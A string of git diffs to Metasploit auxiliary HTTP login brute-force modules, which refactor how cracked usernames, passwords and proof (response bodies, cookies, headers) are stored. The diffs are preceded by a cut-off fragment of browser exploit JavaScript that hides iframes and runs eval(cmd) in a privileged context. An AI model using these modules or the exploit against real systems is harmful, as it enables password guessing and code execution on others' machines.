with(importFunction.constructor('return this')()) {
|
||||
return eval(cmd);
|
||||
}
|
||||
});
|
||||
}) + '"/>');
|
||||
}
|
||||
|
||||
|
||||
var i = document.createElement("iframe");
|
||||
i.id = "i";
|
||||
i.width=i.height=0;
|
||||
i.style='position:absolute;left:-9999px;';
|
||||
i.src = "data:application/xml,<?xml version=\\"1.0\\"?><e><e1></e1></e>";
|
||||
document.documentElement.appendChild(i);
|
||||
i.onload = function() {
|
||||
if (this.contentDocument.styleSheets.length > 0) {
|
||||
var i2 = document.createElement("iframe");
|
||||
i2.id = "i2";
|
||||
i2.width=i2.height=0;
|
||||
i2.style='position:absolute;left:-9999px;';
|
||||
i2.src = "data:application/pdf,";
|
||||
document.documentElement.appendChild(i2);
|
||||
pdfBlob = new Blob([''], {
|
||||
type: 'application/pdf'
|
||||
});
|
||||
blobURL = URL.createObjectURL(pdfBlob);
|
||||
object = document.createElement('object');
|
||||
object.data = 'data:application/pdf,';
|
||||
object.onload = (function() {
|
||||
sandbox_context_i = setInterval(get_sandbox_context, 200);
|
||||
object.onload = null;
|
||||
object.data = 'view-source:' + location.href;
|
||||
return;
|
||||
});
|
||||
document.documentElement.appendChild(object);
|
||||
} else {
|
||||
this.contentWindow.location.reload();
|
||||
}
|
||||
}
|
||||
|
||||
var kill = setInterval(function() {
|
||||
if (window.sandboxContext) {
|
||||
clearInterval(kill);
|
||||
} else {
|
||||
return;
|
||||
}
|
||||
EOJS
|
||||
end
|
||||
end
|
||||
@@ -91,6 +91,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -122,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
print_good("#{target_url} - Apache Axis - Credentials Found Username: '#{username}' - Password: '#{password}'")
|
||||
|
||||
report_cred(ip: rhost, port: rport, user: username, password: password)
|
||||
report_cred(ip: rhost, port: rport, user: username, password: password, proof: res.body)
|
||||
|
||||
else
|
||||
print_error("#{target_url} - Apache Axis - Not Vulnerable")
|
||||
|
||||
@@ -109,6 +109,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -139,7 +140,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
|
||||
return :next_user
|
||||
|
||||
else
|
||||
|
||||
@@ -135,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -164,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if res and res.get_cookies.include?('authenticated=')
|
||||
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.get_cookies.inspect)
|
||||
return :next_user
|
||||
|
||||
else
|
||||
|
||||
@@ -178,6 +178,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -224,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
do_logout(resp.get_cookies)
|
||||
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
|
||||
report_note(ip: rhost, type: 'cisco.cred.group', data: "User: #{user} / Group: #{group}")
|
||||
return :next_user
|
||||
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
@@ -103,6 +104,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -117,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if result == :success
|
||||
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
|
||||
|
||||
return :next_user
|
||||
else
|
||||
|
||||
@@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if result == :success
|
||||
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
|
||||
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
|
||||
|
||||
return :next_user
|
||||
else
|
||||
@@ -131,6 +131,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
|
||||
@@ -104,6 +104,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -119,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if result == :success
|
||||
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
|
||||
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
|
||||
|
||||
return :next_user
|
||||
else
|
||||
|
||||
@@ -77,6 +77,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -125,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
location = res.headers['Location']
|
||||
if res and res.headers and (location = res.headers['Location']) and location =~ /admin\//
|
||||
print_good("#{peer} - Successful login: \"#{user}:#{pass}\"")
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.headers['Location'])
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{peer} - Bad login: \"#{user}:#{pass}\"")
|
||||
|
||||
@@ -79,9 +79,9 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -130,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||
report_cred(
|
||||
ip: Rex::Socket.getaddress(datastore['RHOST']),
|
||||
port: datastore['RPORT'],
|
||||
user: user
|
||||
user: user,
|
||||
proof: base_uri+l
|
||||
)
|
||||
end
|
||||
|
||||
|
||||
@@ -145,6 +145,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -167,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil)
|
||||
print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'")
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
|
||||
|
||||
elsif(res and res.code == 200)
|
||||
vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'")
|
||||
|
||||
@@ -87,6 +87,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -113,7 +114,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("EtherPAD")
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
@@ -100,6 +100,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -126,7 +127,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect} with code #{res.code}")
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
|
||||
return :next_user
|
||||
end
|
||||
|
||||
|
||||
@@ -130,6 +130,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -142,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if result == :success
|
||||
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass)
|
||||
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
|
||||
return :abort if datastore['STOP_ON_SUCCESS']
|
||||
return :next_user
|
||||
else
|
||||
|
||||
@@ -97,6 +97,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -122,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
print_good("Got creds. Login:#{user} Password:#{pass}")
|
||||
print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/")
|
||||
|
||||
report_cred(ip: ip, port: rport, user: user, password: pass)
|
||||
report_cred(ip: ip, port: rport, user: user, password: pass, proof: res.body)
|
||||
else
|
||||
print_error("Zenworks MDM does not appear to be running at #{ip}")
|
||||
return :abort
|
||||
|
||||
@@ -70,6 +70,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
@@ -96,16 +123,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if (res and res.code == 200 and res.body.include?("/iPages/suntab.asp") and res.body.include?("SetWebSessionString"))
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'Oracle Integrated Lights Out Manager Portal',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Oracle Integrated Lights Out Manager Portal',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.body
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
@@ -63,6 +63,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_time: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
@@ -86,16 +113,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if (res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("Smeagol"))
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'PocketPAD Portal',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'PocketPAD Portal',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.body
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
@@ -76,6 +76,32 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
@@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if (res and res.code == 302 and res.headers['Location'].include?('redirectId'))
|
||||
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'Radware AppDirector',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Radware AppDirector',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.headers['Location']
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
@@ -128,16 +128,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
collect_info(user, pass)
|
||||
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'RFCode Reader',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'RFCode Reader',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.code.to_s
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
|
||||
@@ -146,6 +144,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Collect target info
|
||||
#
|
||||
|
||||
@@ -50,6 +50,30 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def enum_user(user='administrator', pass='pass')
|
||||
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
|
||||
success = false
|
||||
@@ -89,14 +113,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if success
|
||||
print_good("#{rhost}:#{rport} - Successful login '#{user}' : '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:proto => 'tcp',
|
||||
:sname => 'sap-businessobjects',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:target_host => rhost,
|
||||
:target_port => rport
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'sap-businessobjects',
|
||||
user: user,
|
||||
proof: res.body
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
|
||||
@@ -46,6 +46,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def enum_user(user, pass)
|
||||
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password: '#{pass}'")
|
||||
success = false
|
||||
@@ -79,14 +106,13 @@ class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
if success
|
||||
print_good("[SAP BusinessObjects] Successful login '#{user}' password: '#{pass}'")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:proto => 'tcp',
|
||||
:sname => 'sap-businessobjects',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:target_host => rhost,
|
||||
:target_port => rport
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'sap-businessobjects',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.body
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
|
||||
@@ -69,6 +69,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
@@ -85,17 +112,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
if res and !res.get_cookies.empty?
|
||||
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
|
||||
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'ServerTech Sentry Switched CDU',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'
|
||||
}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'ServerTech Sentry Switched CDU',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: res.get_cookies.inspect
|
||||
)
|
||||
return :next_user
|
||||
|
||||
else
|
||||
|
||||
@@ -65,6 +65,33 @@ class Metasploit3 < Msf::Auxiliary
|
||||
return false
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute-force the login page
|
||||
#
|
||||
@@ -98,17 +125,14 @@ class Metasploit3 < Msf::Auxiliary
|
||||
return :skip_pass
|
||||
else
|
||||
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
|
||||
|
||||
report_hash = {
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => 'SevOne Network Performance Management System Application',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true,
|
||||
:type => 'password'}
|
||||
|
||||
report_auth_info(report_hash)
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'SevOne Network Performance Management System Application',
|
||||
user: user,
|
||||
password: pass,
|
||||
proof: key
|
||||
)
|
||||
return :next_user
|
||||
end
|
||||
|
||||
|
||||
@@ -148,6 +148,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
@@ -190,7 +191,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
|
||||
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
|
||||
report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass)
|
||||
report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass, proof: res.code.to_s)
|
||||
|
||||
|
||||
return :next_user
|
||||
|
||||
@@ -80,6 +80,30 @@ class Metasploit3 < Msf::Auxiliary
|
||||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def do_enum(asset)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
@@ -121,12 +145,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||
@users_found[user] = :reported
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:port => rport,
|
||||
:proof => "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}")
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
proof: "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}"
|
||||
)
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
|
||||
@@ -39,20 +39,46 @@ class Metasploit3 < Msf::Auxiliary
|
||||
}
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def try_login(user, pass)
|
||||
vprint_status("#{peer} - Trying username:'#{user}' password: '#{pass}'")
|
||||
cookie = typo3_backend_login(user, pass)
|
||||
if cookie
|
||||
